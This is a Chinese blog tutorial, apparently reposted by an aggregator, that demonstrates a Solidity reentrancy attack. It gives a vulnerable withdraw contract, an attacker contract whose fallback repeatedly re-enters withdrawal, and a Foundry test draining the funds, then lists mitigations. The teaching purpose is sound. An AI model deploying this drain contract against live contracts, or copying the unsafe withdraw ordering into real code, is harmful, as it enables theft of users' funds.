4

重入攻击代码实现

 2 years ago
source link: https://learnblockchain.cn/article/3514
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

重入攻击代码实现

昨天写一篇,蜜罐的分析,我发现感兴趣的朋友还挺多,我也就多了解了一下这方面的知识,我发现重入攻击大家都是翻译的一个老外的文章,连代码都是提供的图片,我觉得有必要自己写代码来一遍。
重入就是利用solidity虚拟机的机制来进行攻击。

什么是重入攻击?

假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。

fallback 函数的场景

1、调用函数找不到时

当调用的函数找不到时,就会调用默认的fallback函数。

2、send()函数发送ether

当我们使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。

我们这个例子就是用fallback 函数来连续调用,最终把合约里面的钱都转出来。

被攻击合约如下:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}

攻击环境构建

用我前几天发的Foundry来做这次演示,前面的入门在这里
使用Foundry,感受快,rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
构建一个测试用例:
写在src/test目录下
EtherStore.t.sol
1,部署合约

function setUp() public { //test类的 setup
        store = new EtherStore();
        attach = new EtherStoreAttach(address(store));
        cheats.deal(address(store), 5 ether);  //给合约5个eth
        cheats.deal(address(attach), 2 ether);  //给攻击者 2个eth
    }

cheats是Foundry内置的一个mock实例,可以干什么呢,比如上面就是给合约转钱。
我这里转了5个eth
参考里面有cheats的文档链接

2,构建攻击合约,也就是fallback函数

contract EtherStoreAttach is DSTest { //攻击合约
    EtherStore store;

    fallback() external payable {
        emit log_named_uint("fallback", address(store).balance);
        if (address(store).balance > 1 ether) {
            store.withdrawFunds(1 ether);
        }
    }

    constructor(address _store) public {
        store = EtherStore(_store);
    }

    function Attach() public {   //发起攻击函数
        store.deposit{value: 1 ether}();  //保证withdrawFunds初步检查不出问题
        emit log_named_uint("testAttach", address(store).balance);
        store.withdrawFunds(1 ether);
        emit log_named_uint("endAttach", address(store).balance);
    }
}

3、测试合约

function testAttach() public {
        emit log_named_uint("test start store", address(store).balance);
        try attach.Attach() {
            emit log_named_uint("test ok store", address(store).balance);
        } catch {
            emit log_string("catch");
        }
        emit log_named_uint("test end store", address(store).balance);
    }

16438879961.png
16438880341.png

攻击开始,合约里有6个eth,最后剩下一个。

网上别人都讲过多次了
1,交换的顺序,这个看起来最简单

balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");

2,给合约带锁
加合约成员,_lock变量,
加 modifier 守卫,给withdrawFunds函数加行的modifier 守卫
操作函数时加lock,其他再进入进不去就避免了重入

3,此代码仅在0.8版本一下的solidity能运行,所以问题没有了,看这里
Exploring the new Solidity 0.8 Release (soliditydeveloper.com)
我这个代码要运行,需要这样
pragma solidity ^0.7.0;

重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
Solidity Fallback函数详解 - 简书 (jianshu.com)
Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench
Cheatcodes Reference - The Foundry Book (onbjerg.github.io)

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2天前
  • 阅读 ( 184 )
  • 学分 ( 8 )
  • 分类:Solidity

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK